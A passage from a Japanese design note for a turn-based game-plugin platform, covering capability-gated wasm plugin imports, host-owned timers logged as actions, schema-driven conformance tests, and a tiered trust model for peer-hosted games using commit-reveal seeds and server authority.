ホストは instantiate の前にこれを読み、満たせなければ弾く。満たせるものだけを import に配線する。rand_u64 しか要らないプラグインに他の口を開けない。将来 now() や log() を足しても、要求していないプラグインからは見えない。UI 側も同じ扱いで、cdfy に増えたメソッドは要求したバンドルにしか生えない。

Cordis の fiber が依存の揃わないプラグインを PENDING で待たせるのと発想は同じで、こちらは待たずに拒否でいい。ゲームは遅れて現れたりしない。

時計の扱い

決定性の源を rand_u64 1つに絞ったのは正しい。時計も同じ扱いにする。

タイマはホストが持ち、時間切れは普通の行動としてログに入れる。

Acted { seat: 2, action: Action { kind: "timeout_pass", data: [] } }

replay に時計が要らなくなる。cdfy_next の Clock trait は宣言だけあって誰も呼んでいないが、この方針なら trait ごと消してよい。使われない seam を残すより、消して意図を残すほうがいい。

適合テスト

散文の契約はずれる。今回それを自分で証明した。正本を機械可読にする。

型は1つのスキーマから吐く。Rust の wire も TS の型も、ドキュメントの表も、同じ出どころにする。挙動は golden corpus で固定する。(seed, config, [action]) に対する状態ハッシュの列を並べて、エンジン実装とプラグインの両方に通す。

cdfy_next は RNG だけこれをやっていて、seed 7 で [7,3,0,6,2,5,4,1] を byte-exact に pin している。同じ扱いを validate と observe にも広げる。server 権威なら実装が1つに減るので、そもそもずれる相手がいなくなるという効き方もある。

無料モードと信頼の段

サーバ代を出さない選択肢も残す。参加者だけで閉じたい、という要求もそれなりに真っ当なので、P2P は無料モードとして置く。ただし既定にはしない。

このモードに入った瞬間、権威になった人は全員の隠し情報を持つ。cdfy_next がカジュアル割り切りと呼んでいる状態で、そこから一段ずつ上がれる形にしておく。

段何が守られるかコスト
peer 権威何も。権威は全部見える無料
witnessed事後の改竄。中継が確定エントリに署名小
commit-reveal seed配牌の仕込み。権威が山を選べない小
server 権威進行中の覗き見サーバ代
秘匿計算同上、サーバも信じない場合過大

この中では commit-reveal の seed が安い。各席が開始前に H(c_i) を出して Started に並べ、seed をその連結のハッシュにする。終局時に元を明かせば、権威が山を選んでいないことを全員が検算できる。

ただし配り方が守れるだけで、進行中の覗き見は解けない。そこを解く一番安い手はサーバを1台立てることであって、暗号ではない。カジュアル割り切りという言い方は、この段差を1つに潰してしまっている。

権威が落ちたときの引き継ぎも無料モードだけの問題になる。ログが1本なら、次点が先頭から Started の seed で reseed して Acted を順に適用すれば、状態も RNG の位置も席表も揃う。cdfy_next が resume の roster で手渡しているものは消える。それでも指名と締切と候補が尽きたときの扱いは要るので、server を既定にすればこの一式ごと消える、というのがこの節の結論になる。

作らないもの

同一プロセスのプラグインは要らない。第三者の wasm を落として走らせる以上、隔離は外せないし、Cordis の effect 逆写像を払う理由がない。

ロールバック netcode や CRDT も要らない。ターン制でターンあたり数百ミリ秒許されるなら、権威1点と全順序ログで足りる。

コア側の mutation プリミティブも足さない。apply_action が状態を丸ごと返す形は、ABI が狭いまま保てている理由そのもので、中間表現を足したくなったらたぶん間違えている。cdfy_next が Mutation や Reaction の層を作らなかったのは、いま見ても良い判断だった。

権威も最初から seam にしない。2つ目の実装が実際に要るまでは trait を切らない。ここは一度書いてから消した。

盤の座標系も作らない。Layout に名前を足すのは安いが、それを絵にするレンダラは安くない。カタンから先は ui.js に落とす。

参考